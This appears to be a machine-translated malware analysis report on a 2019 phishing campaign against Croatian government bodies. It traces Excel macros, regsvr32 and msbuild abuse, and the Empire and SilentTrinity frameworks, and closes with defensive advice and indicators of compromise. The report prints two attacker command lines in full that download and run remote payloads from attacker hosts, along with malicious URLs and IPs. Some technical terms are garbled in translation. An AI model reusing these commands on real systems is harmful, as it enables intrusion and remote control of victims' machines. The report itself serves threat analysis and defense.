IronPython是邪恶的

图片

我们来自专家安全中心的专家始终保持与时俱进,并监视新出现的有趣和危险威胁的出现。 这就是在2019年4月初发现针对克罗地亚政府的有针对性的攻击的方式。 该报告检查了将恶意软件传送到受害者计算机的链,提供了危害指标,并指出使用了新的操作后框架,根据我们的数据,攻击者从未使用过该框架。

受害者感染


2019年4月2日,在对新恶意软件的各种资源进行例行监视期间,PT Expert Security Center专家发现了一个不寻常的Office文档。

图片

图1.恶意文档

发送通知是在MS Excel Office应用程序中创建的,并在一天前(2019-04-01 16:28:07(UTC))以旧XLS格式保存。 但是,现有的打印时间戳(2018-07-25 00:12:30(UTC))表示该文档最早于2018年使用。 我们将在下面返回此间接症状。

值得注意的是,“注释”字段(可以更改,包括使用MS Excel应用程序在内)在Windows Shell中包含一个命令:

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs 

图片

图2.带有可疑内容的“ Comments”字段

图片

图3.二进制形式的Comments字段的内容

执行此命令的结果是,系统使用Visual Basic语言创建了一个脚本,该脚本在启动时将执行以下操作:

  • 使用WebDAV技术连接网络资源,
  • 使用合法的系统实用程序regsvr32下载并运行下一阶段的感染文件。

通过HTTP(S)连接网络资源时,会将NTLM请求发送到攻击者服务器,借助该请求,可以还原NTLM哈希。 然后,接收到的哈希可以代表受害者用于服务授权。 我们没有发现此类攻击的痕迹,并且连接网络资源的原因仍不清楚。

将regsvr32(管理ActiveX控件)用于恶意目的的技术并不是什么新技术,甚至有一个名称-Squfullydoo。 攻击者使用它来满足控制受信任程序启动以及绕过防病毒检测的要求。

就其本身而言,“注释”字段中的文本是无害的,并且必须以某种方式限制其执行。 当受害者打开收到的Excel文档时,将显示克罗地亚语陷阱消息,告诉您包括宏:

图片

图4.打开文档后的陷阱消息

如果允许使用宏,则用户将看到带有克罗地亚邮政徽标的假包裹通知:

图片

图5.错误的包通知

同时,使用宏工具,将执行“注释”字段的脚本,并将在系统中创建的脚本添加到启动中:

图片

图6.关键宏逻辑

奇怪的是,正在创建的脚本不是由宏触发的。 也许这就是攻击者的意图:感染的下一阶段将在系统重新启动并登录用户后发生。 我们将在下面返回此详细信息。

该场景的一部分以其自己的方式很有趣:带有格式化,缩进和其他标记细微差别的简洁代码结构可能是使用第三方代码的标志,甚至是允许您自动创建此类文档的程序。

图片

图7.大概是宏的借用部分

关键字搜索在不同的资源上提供了许多相似的代码。 我们倾向于相信黑客只是找到了合适的程序代码,并对其进行了一些微调以执行他需要的操作:

图片

图8. issuu.com上类似宏的示例

图片

图9. stackoverflow.com上类似宏的示例

图片

图10. dummies.com上类似宏的示例

让我们使用regsvr32实用工具返回到感染的下一阶段。 执行该命令后,将从攻击者的服务器下载JavaScript中的update.sct脚本。 该脚本的主体包含由Base64算法编码的二进制数据。 解码后,将使用.NET Framework软件平台对接收到的数据进行反序列化并执行。

图片

图11.从攻击者的服务器下载的update.sct脚本

值得注意的是,攻击者还利用以下公共资源之一借用了此代码:

图片

图12. rastamouse.me上类似代码的示例

图片

图13. github.com上类似代码的示例

黑客似乎没有仔细研究所用工具的逻辑。 例如,在所考虑的脚本中,调用setversion函数,该函数什么也不做。 网上也有一个例子。

解压缩并启动的对象是.NET平台上的可执行PE文件。

图片

图14.可执行PE文件的头

图片

图15. SharpPick PE文件的调试信息

编译的结果是,保留了带有源代码的项目路径。 -master后缀表示该项目以前是从存储库中克隆的,SharpPick目录会导致一个知名的应用程序,该应用程序允许您加载和执行PowerShell代码,而无需直接使用语言解释器,而是使用.NET依赖项。
尽管GitHub上有SharpPick实用程序项目,但您应确保没有进行重大更改。

图片

图16.反编译的SharpPick实用程序代码的一部分

作为反编译的结果,获得了一个伪代码,在此过程中,该伪代码从Base64解码并启动PowerShell脚本:

图片

图17.部分转换的PowerShell脚本

在简化代码之后,不难解析其逻辑:

  • 形成一个对象,用于通过指定的User-Agent,Cookie和代理设置与Web服务器进行交互;
  • 有效载荷被加载到指定的地址;
  • 结果由RC4算法使用指定的密钥解密并启动。

不幸的是,在我们的研究中,管理服务器已经不可用。 我们找不到以前从他那里收到的数据。 但是,这次Web上有足够的信息(例如:来自FireEye的同事的报告)可以明确地建立:此感染链中的最终链接是Empire后门,Empire后门是用于对受害者计算机进行远程管理的工具,作为Empire Framework后操作框架的一部分。

图片

图18.使用类似的PowerShell脚本攻击WinRAR中的漏洞

有趣的是,其他脚本模式导致了一篇有关渗透测试技术的文章,特别关注将攻击者的基础设施隐藏在代理服务器之后。 攻击者最可能使用的信息源是Payatu Technologies同事的文章,他们在其中提供有关将会话重定向到合法资源,阻止不需要的数据包,记录日志等(包括使用Empire)的详细说明。

几个小时后,我们在包裹上找到了另一个文件。 它与上一个有很多相似之处:也位于克罗地亚(2019-04-02 16:52:56(UTC))中,具有相同的名称,甚至是有关收到的包裹的陷阱图像。 但是仍然存在差异。

恶意代码再次位于“注释”字段中,但是这次操作的逻辑已更改。

 cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs 

  • 网络资源使用SMB协议连接。
  • 使用.build Framework的合法实用程序msbuild下载并启动下一阶段的感染。

有趣的是,webdav行出现在已安装目录的地址中,从而间接将这种情况与前一种情况联系起来。 这次,尽管没有证据表明可以对NTLM哈希进行攻击,但仍然可以。 同样,使用合法的应用程序(这次是msbuild)成功绕过了启动第三方程序的限制。 在描述滥用技术之前,我们先提到新文档宏的程序代码中的差异。

攻击者并未对VBA脚本的逻辑进行重大更改。 但值得注意的是,这一次它们不仅提供了系统中已创建的VBS脚本的自动加载,而且还在打开文档时启动了它。 在以前的情况下,攻击者很可能只是忘记了它,并且在一段时间后发现错误,便在新版本的文档中对其进行了更正。

图片

图19.两个文档中宏代码的比较

感染的下一阶段是包含C#代码的XML文档。 msbuild实用程序的功能允许您即时编译和运行所包含的代码,如黑客在标记开始时留下的注释所证明的那样。

代码中再次显示了Base64缓冲区,该缓冲区将通过Deflate算法解码,解压缩并启动。 我们相信,读者已经意识到,这次攻击者还使用了可自由访问的模板,如上述注释以及Web上许多具有相同代码的资源所证明的。

图片

图20.从攻击者服务器下载的msbuild.xml任务

结果,这一次.NET平台上的PE文件将被加载并执行到内存中。 调试信息不​​仅包含表明该项目已在虚拟机上收集的标志(可能是为了隐藏有关攻击者的信息),而且还包含SILENTTRINITY目录,我们将在其中进行详细介绍。

图片

图21. SILENTTRINITY PE文件的调试信息

研究了这两个包裹文件后,我们又发现了两个。 文件格式,名称和具有指定区域的陷印图片均保持不变。 相关文件于2018年8月下旬可用,这证实了有关战役长期性的假设,我们在报告开始时就写过这一假说。

奇怪的是,去年黑客没有使用“ Comments”字段,但是他们启动了合法的实用程序。 使用该实用程序加载了恶意组件,以使用证书和certutil加密操作,并且该启动由WMI系统管理工具提供:

图片

图22. 2018文档宏的比较

不幸的是,在发生事件之后,我们无法在2018年攻击链中建立后续链接。

还值得注意的是,VBA脚本代码的一部分保持不变,只是删除了解释工作逻辑的辅助注释之外。

图片

图23. 2019和2018宏的比较

SilentTrinity框架


从PE文件的调试信息中搜索SILENTTRINITY关键字的结果可以轻松确定此攻击链接的来源。 2018年10月,Marcello Salvati(Black Hills Information Security的研究员)在流行的GitHub存储库上发布了一个名为SILENTTRINITY的项目。 主要思想是:在Python编程语言Python(即IronPython)中使用众所周知的后操作PowerShell框架的灵活性和优势。 到目前为止,该项目正在开发中。

我们不会深入研究该项目的工作和实施的细节(特别是因为作者在其报告中详细介绍了该项目)。 我们将仅强调工作的基本逻辑和实施中的有趣之处。

启动PE文件(但是,中间链接的格式可能不同)之后,会发生以下情况:

  • 访问管理服务器以下载具有必要依赖项和主要Python脚本的ZIP存档;
  • 提取存档内容而不保存到磁盘;
  • 已注册依赖项以成功处理Python脚本;
  • 启动主要的Python脚本,等待攻击者的任务;
  • 每个任务都作为现成的Python脚本传输;
  • 该任务是在受害方的单独线程中执行的;
  • 工作的结果将传输回管理服务器。

图片

图24. SilentTrinity框架操作图

在这些功能中,值得强调以下内容:

  • 支持IronPython,包括Boo语言(具有强大数据键入功能的IronPython的子集)。
  • 所有活动都不需要磁盘空间:依赖项,脚本,任务位于内存中(无文件攻击)。
  • 存档包含依赖性,任务和团队工作的结果-受害者和黑客之间的所有通信均使用AES算法加密。
  • 共享密钥由Diffie-Hellman协议生成。
  • 在具有代理支持的HTTP(S)协议级别提供网络传输。

图片

图25. SilentTrinity框架的服务器端的示例用户界面

有趣的是,在攻击当天,PE加载程序已上载到VirusTotal服务,在该服务中,没有任何防病毒供应商将其识别为恶意软件。 这不足为奇:首先,二进制文件没有进入磁盘,并且签名检测没有多大意义。 其次,静态检测远非唯一保护用户的技术。

图片

图26. SilentTrinity引导加载程序在攻击日的扫描结果

此外,袭击发生后的几天,检测结论仍然开始出现。 重要的是,在攻击期间,防护设备尚未配备检测算法,或者在原则上不知道威胁。

图片

图27. SilentTrinity引导程序的当前扫描结果

这很可能是选择此解决方案进行攻击的原因。 我们没有信息表明SilentTrinity框架以前已经被用于恶意攻击。

攻击者使用的基础架构

值得一提的是,黑客使用的网络基础结构与正在进行的攻击在时间上相关。



表1.有关用作攻击服务器的域的信息


域的创建方式类似于合法的受攻击资源。 这使用户可以获得对网络钓鱼攻击的信任。 请注意,所涉及的资源不仅限于克罗地亚。

所有域都使用WhoisGuard安全技术进行注册。 它使您可以隐藏有关域注册者的真实信息,以防止垃圾邮件,而攻击者则使用此技术进行匿名化。

分发和管理恶意软件的服务器是从荷兰提供商Breezle租用的。

关于攻击者的节点,地址和域的所有可用信息,它们之间有很多联系,这使我们能够判断攻击者这次拥有的大量恶意软件。 我们不排除在竞选活动中可以使用与所考虑的工具相似的工具,并且某些感染案例仍未解决。

图片

图28.攻击者基础结构的图形表示

结论


新闻中发现文档的第二天,就发布了新闻稿,其中包含指向克罗地亚信息系统安全部的链接 ,内容涉及有针对性的网络钓鱼攻击。 在该国几个政府机构中发现了痕迹。 据报道,向受害者发送的电子邮件带有指向网络钓鱼站点的链接,该站点建议从该站点下载一个恶意文件,从而开始我们的分析。 这填补了攻击链中缺失的环节,最后,我们要关注可以减少此类攻击造成的损害的保护方法:

  • 监视和控制某些受信任程序(certutil,regsvr32,msbuild,net,wmic等)的使用
  • 不仅检查和分析电子邮件中的附件,还检查和分析Web链接
  • 定期扫描公司网络中的PC内存
  • 可以使用PT Network Attack Discovery来检测到C2 Silent Trinity的成功连接(甚至在TLS下),此外,在我们发布的针对社区的检测库中。

正向技术公司的Alexey Vishnyakov 发表

PS关于此主题,作者还在“积极黑客节9”上阅读了一份报告。有关此视频和其他演示文稿的视频,请访问: www.phdays.com/en/broadcast/

危害指标:
0adb7204ce6bde667c5abd31e4dea164
13db33c83ee680e0a3b454228462e73f
78184cd55d192cdf6272527c62d2ff89
79e72899af1e50c18189340e4a1e46e0
831b08d0c650c8ae9ab8b4a10a199192
92530d1b546ddf2f0966bbe10771521f
c84b7c871bfcd346b3246364140cd60f
hxxps://postahr.vip/page/1/update.sct
hxxps://posteitaliane.live/owa/mail/archive.srf
hxxps://konzum.win/bat3.txt
hxxp://198.46.182.158/bat3.txt
hxxps://176.105.255.59:8089
[\\] 176.105.255.59 \ webdav \ msbuild.xml
邮政在线
176.105.254.52
93.170.105.32

Source: https://habr.com/ru/post/zh-CN458766/


All Articles